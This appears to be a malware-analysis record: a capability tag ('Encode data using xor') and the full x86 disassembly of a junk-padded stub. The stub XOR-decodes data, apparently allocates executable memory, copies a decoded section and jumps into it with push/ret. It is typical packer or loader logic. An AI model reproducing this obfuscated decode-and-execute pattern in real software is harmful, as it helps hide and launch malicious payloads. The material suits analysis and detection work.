Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x87b0c06
add edi, ebx
sub ebx, 0xf7cb0a7a
popal
or edi, ebx
mov edi, ebx
mov ecx, 0
mov edi, ebx
mov esi, 0x75e0ced7
inc esi
dec esi
mov eax, edi
mov edx, esi
mov edx, 0xc6dd5164
or esi, esi
mov ebx, eax
mov esi, 0x8948136a
not esi
inc ecx
sub edx, 0x9036bf2a
mov esi, edx
or esi, edx
cmp ecx, 0x1000f95
jne 0xa789c4
inc esi
mov edx, 0xf4a64376
sub esi, 1
not edi
sub edi, 0xb9f16323
mov ecx, 0xa78796
mov edx, edi
add esi, 0x74f75ac
mov ebx, 0xa7898a
or edx, edi
sub edi, edx
mov eax, dword [ecx]
or edx, esi
sub esi, edi
sub edi, 0xad15832f
and eax, 0xff
dec esi
or esi, esi
xor dword [ebx], eax
add esi, 1
mov edx, esi
and edi, edx
inc ebx
sub edx, edi
not edx
inc ecx
sub edx, 0xd6f378f6
sub esi, 0xb4ee27e3
cmp ebx, entry0
jl 0xa78a22
mov edx, edi
inc edi
and edi, esi
not edx
add edx, 0xe326358b
or edx, esi
and edi, edi
sub esi, 0x5f4aaf87
add edx, 0xfc049c04
mov ebx, 0xa7898e
mov edi, 0xcc4a9b7b
add ecx, edx
mov ebx, dword [ebx]
add ecx, 0xff98a2af
mov edi, esi
mov ebx, dword [ebx]
mov esi, edx
not esi
mov esi, 0xd7c2ef92
sub esp, 4
mov dword [esp], ebx
add edi, 1
mov esi, ecx
mov edx, esi
mov ebx, 0xa7898a
or esi, ecx
sub edi, esi
mov ebx, dword [ebx]
or edi, edx
sub edx, ecx
mov ebx, dword [ebx]
or ecx, ecx
mov edi, 0xc680353d
push 0xa78992
add esi, 0xbd673c3a
mov ecx, 0x45f50b66
sub esi, 0xfb3ece67
call ebx
sub esi, 0x7df737f3
add esi, 0x2d3cfafd
mov edx, 0x2f84eb8e
pop ebx
mov ecx, 0xd28f1b00
not edx
push 0xa7899f
sub esi, ecx
mov edx, 0xa050fd4e
add edi, 0xeb412605
push eax
sub edi, 0xe5906e1b
sub ecx, 0x3fe51f80
not esi
call ebx
sub edx, 1
sub edx, 0xf74ac3c7
and edi, edi
push 0x40
inc edx
dec esi
sub edx, ecx
push 0x3000
mov edx, edi
mov edi, 0xa9a4f1c2
not esi
push 0x20000e29
sub edi, esi
dec esi
sub esi, ecx
push 0
sub ecx, esi
sub ecx, 0x97097d3f
call eax
inc esi
add edi, 0xb1713b59
not esi
add eax, 0x20000dbd
or edx, edx
inc edi
mov ebx, 0x4d042316
sub edi, 1
sub ecx, 0x730e6865
mov dword [eax], ebx
mov esi, 0xa0a067f8
or ecx, edx
mov ebx, dword [eax]
and ecx, ecx
sub edi, edx
cmp ebx, 0x4d042316
je 0xa78b9a
mov edx, 0
mov ebx, dword [edx]
mov ecx, 0x8006f127
dec esi
not edi
sub edi, edx
inc edi
add ebx, 0xb9cdbf5c
mov ebx, 0x224ca516
or edi, ebx
mov edx, section..reltc
or edi, ebx
add ebx, 0x3a7a41aa
mov esi, 0xa78795
and ebx, ebx
sub ebx, edi
mov eax, 0
mov edi, ebx
dec edi
dec edi
mov ecx, 0xa78796
or edi, edi
mov ebx, edi
lea ecx, [ecx + eax]
mov ebx, 0xb1629031
or ebx, ebx
mov ecx, dword [ecx]
add ebx, 0x9c58db5c
sub edi, 0xff7ce09a
mov edi, 0xa4dce7aa
and ecx, 0xff
sub ebx, 1
mov ebx, edi
add ebx, 0x413c0b8b
inc eax
mov ebx, edi
add edi, edi
cmp eax, 0x1f4
jne 0xa78c1d
mov eax, 0
dec ebx
inc ebx
add edi, 0x6b3db560
and ebx, edi
mov ebx, edi
xor dword [edx], ecx
not ebx
mov edi, ebx
add edx, 2
and edi, edi
or edi, edi
or edi, edi
cmp edx, esi
jl 0xa78bd1
not edi
add ebx, 1
mov edi, 0xcbafa70e
mov ebx, 0xee0e495a
inc ebx
mov esi, section..reltc
not edi
not ecx
mov ecx, 0xafcac030
mov edx, section..reltc
inc edi
and ecx, ecx
mov ebx, 0xa78795
add edi, 0xbe64198c
and ecx, ecx
mov ecx, edi
mov eax, 0
add edi, 0xb7ac57df
not ecx
sub edi, 0x172d7bd
mov al, byte [edx]
sub edi, 0xbe298546
mov edi, ecx
mov byte [esi], al
mov ecx, 0xb59fe945
add edi, 1
add esi, 1
add edi, 0x67ad1182
or ecx, ecx
add edx, 2
inc ecx
sub ecx, edi
cmp edx, ebx
jle 0xa78c8e
or ecx, ecx
inc edi
add edi, 0x8488c25c
add ebx, ebx
push 0x8dc6a0
add ebx, edi
mov ebx, edi
ret